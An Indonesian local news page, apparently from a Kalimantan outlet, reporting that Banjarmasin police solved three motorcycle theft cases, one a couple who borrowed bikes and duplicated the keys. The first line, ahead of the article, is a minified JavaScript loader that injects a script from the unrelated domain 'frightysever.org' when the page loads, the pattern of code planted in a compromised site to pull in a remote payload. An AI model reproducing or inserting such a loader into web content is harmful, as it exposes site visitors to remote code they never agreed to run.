(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kriminal Banjarmasin

Modus Pinjam Motor, Pasangan Pasutri Jadi Tersangka


BANJARMASIN, Satuan Reskrim Unit Ranmor Polresta Banjarmasin berhasil mengungkap sejumlah kasus pencurian kendaraan bermotor.

“Ada 3 kasus yang berhasil kita ungkap bersama dengan anggota dari beberapa Polsek,” kata Kasat Reskrim Polresta Banjarmasin AKP Ade Papa Rihi, Senin (25/11).

Kasus pertama yaitu kasus Curanmor yang dilakukan Fah (29) di kawasan jalan Kelayan A Gang Cenderawasih, Kecamatan Banjarmasin Selatan. Pelaku yang merupakan residivis kasus jambret, dalam aksinya menggunakan kunci leter T untuk merusak kunci motor milik M Irianto.

“Pelaku berhasil kita amankan tanggal 18 November 2019 lalu di kawasan Belitung,” ujar AKP Ade.

Kemudian kasus kedua adalah kasus yang melibatkan pasutri, ZM dan DEP. Dari hasil penyelidikan kepolisian keduanya telah melakukan 3 kali aksi Curanmor.

“Satu LP (laporan polisi) ada di Polsek Banjarmasin Barat dan dua LP ada di Polresta Banjarmasin,” ujar AKP Ade.

Diungkapkan Kasat, dalam aksinya sejoli ini menggunakan modus meminjam motor korban yang masih merupakan kenalan atau kerabat dengan alasan ada keperluan. Saat meminjam motor tersebut keduanya menduplikat kunci motor tersebut.

“Beberapa hari kemudian saat korbannya lengah, keduanya mengambil motor tersebut dengan kunci duplikat,” beber AKP Ade.

Dari ‘nyanyian’ keduanya petugas juga berhasil menangkap sang penadah, Surya yang mengaku membeli salah satu motor curian dari keduanya dengan harga Rp2 juta.

Selain itu pihaknya melalui Polsek Banjarmasin Tengah juga berhasil mengungkap satu kasus Curanmor yang terjadi di kawasan jalan Mulawarman atau tepatnya di depan SMKN 1 Banjarmasin. Dituturkan AKP Ade, saat itu pelaku yang bernama MA melihat motor N-Max milik Sony Nata terparkir dengan kondisi tidak terkunci stang.

“Pelaku kemudian membawa kabur motor tersebut dan mengganti kuncinya,” tuturnya.

Semua pelaku dikenakan pasal 363 KUHP tentang Pencurian Kendaraan Bermotor dengan ancaman pidana 7 tahun.

“Sedangkan untuk satu orang penadah kita kenakan Pasal 480 KUHP dengan pidana paling lama 4 tahun penjara,” pungkasnya. (fikri)

Reporter : Fikri
Editor : Bie


Desy Arfianty

Recent Posts

“Embroidery Mini Class” Perayaan Hari Kartini di Lingkungan PLN UIP3B Kalimantan

KANALKALIMANTAN.COM, BANJARBARU - Memperingati Hari Kartini 2024 PT PLN (Persero) Unit Induk Penyaluran dan Pusat… Read More

3 jam ago

Sejarah Hari Tari Sedunia 29 April

KANALKALIMANTAN.COM – Setiap tanggal 29 April diperingati salah satu seni atau ekspresi diri yang tertua… Read More

5 jam ago

Peringati Hari Tari Sedunia, Ratusan Penari Tampil di Taman Budaya Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Unit Pelaksana Teknis Daerah (UPTD) Taman Budaya Provinsi Kalimantan Selatan (Kalsel) menyelenggarakan… Read More

6 jam ago

Rakerda KNPI Banjarbaru, Rekomendasi Pendirian Gedung Pemuda

KANALKALIMANTAN.COM, BANJARBARU - Dewan Pengurus Daerah (DPD) Komite Nasional Pemuda Indonesia (KNPI) Kota Banjarbaru menggelar… Read More

8 jam ago

Peringati Hari Kartini, PLN Beri Santunan 30 Muslimah Tangguh di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Semangat memperingati Hari Kartini 2024, PT PLN (Persero) Unit Induk Penyaluran dan… Read More

10 jam ago

Konser Malam Pestaforia Kapuas 2024

KANALKALIMANTAN.COM, KUALA KAPUAS – “Konser Malam Pestaforia Kapuas 2024” menyemarakan Hari Jadi ke-218 Kota Kuala… Read More

11 jam ago

This website uses cookies.